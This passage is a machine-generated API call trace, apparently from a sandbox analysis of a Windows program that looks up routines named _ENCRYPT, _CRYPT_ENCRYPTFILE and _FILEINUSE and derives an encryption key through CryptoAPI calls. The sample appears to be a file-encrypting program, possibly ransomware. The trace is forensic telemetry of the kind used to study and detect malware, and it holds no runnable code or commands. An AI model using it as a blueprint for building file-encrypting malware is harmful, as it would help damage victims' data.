wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.584] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.594] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.594] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.594] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.594] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.594] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.595] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.595] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.595] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.595] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.595] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.595] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.595] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.598] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.598] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.598] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.599] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.599] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.599] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.599] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.599] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.599] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.599] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.599] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.602] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.602] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.602] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.602] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.602] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.603] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.603] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.603] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.604] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.604] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.604] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.604] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.604] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.604] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.604] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.605] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.605] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.605] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418b0c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.605] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.605] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.605] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.605] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.605] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.606] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.606] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417af40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0026.607] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0026.607] CryptDestroyHash (hHash=0xe8f4062640) returned 1 